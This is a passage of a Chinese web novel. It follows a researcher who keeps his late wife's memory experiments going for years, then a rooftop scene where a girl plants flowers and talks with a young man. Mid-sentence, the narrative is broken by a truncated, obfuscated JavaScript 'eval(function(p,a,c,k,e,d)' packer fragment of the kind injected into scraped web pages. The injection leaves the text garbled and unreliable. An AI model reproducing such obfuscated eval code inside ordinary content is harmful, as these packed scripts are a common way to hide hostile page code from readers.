她出事之后,局里几个核心项目几乎停摆。在这之后,保留和研究凌珺女士的记忆,便顺理成章由她的丈夫周砚平接手。那段时间,周砚平做了很多努力,才解决了迫在眉睫的难题。 然而一切归于正常后,他并未就此停止实验。收集凌珺数据的仪器原应就此销毁,周砚平装傻充愣,局里竟也就这样放在他手里,一放就是十几年。 旁人或许只道周砚平是因为失去妻子后执念未消,与老师朝夕相处的孟萤珈却很清楚,研究非自然能量场的记忆有多困难。那一系列实验动辄就会危及性命,核心团队不过寥寥四五人,孟萤珈是除周砚平之外,最了解实验的人。 十几年前,她很清楚,老师心中不止是对凌珺女士的执念,更是整个实验项目的执念。 非自然能量场极不稳定,一旦发现,通常已经是在周遭能量场都已经受到极大影响之后。能监局的研究者们虽对能量了解颇深,但毕竟都是肉身凡躯,面对这样的情况根本无解。 不能救下那些无辜遭受牵连的人,更无法让遇害者的亲人与他们再见最后一面。 周砚平的实验如果能更进一步,一切都有改变的可能。这也是局里迟迟没有回收数据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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……你别给我弄坏了。” “刚种好?那要记得多晒点太阳……”盛恢看了一眼天上浓密沉郁的乌云,默默止住话。 周宝涂也抬头看天,刚刚灼热逼人的烈日早已不见踪影,天空黑压压的,让人心慌。 盛恢瞥了一眼这人神色,她倒是并不沮丧。 “要下雨了?还好天台上有遮雨的地方,再不济我拿桌子椅子把它围起来,只要别又闷着不通风就好了。” “为什么突然想种花?” 周宝涂眼睛亮亮地望着他,似乎是很高兴听见他这样问。 “有人和我说,生命是最奇妙的东西,我……就想体验一下。” 盛恢垂着眼睛,一下下抚着盆里不平的土面,“我不记得我说过这样的话。” 周宝涂瘪瘪嘴:“不是说你,是……我一个很好的朋友告诉我的。” 女孩提起这个人,神色不自觉温柔许多。 “你很喜欢她?” 周宝涂点头,道:“以前我一直不知道自己未来应该成为怎样的人,现在,这个疑惑好像终于得到一点方向了。” 他注视着她,道:“其实……一切都顺其自然,答案总会在未来的某一天等着你,不必这么着急地,要在一个人身上看见另一个人的未来。” 女孩的表情平和极了,她很少有过这样的神色,显得整个人都成熟许多。 “是啊……如果不是时间来不及了,我也不想这么着急。” 她小心捧起两个花盆,而后起身,声音轻缓:“走吧,盛恢哥。那些人应该都走了,我也……该去面对了。”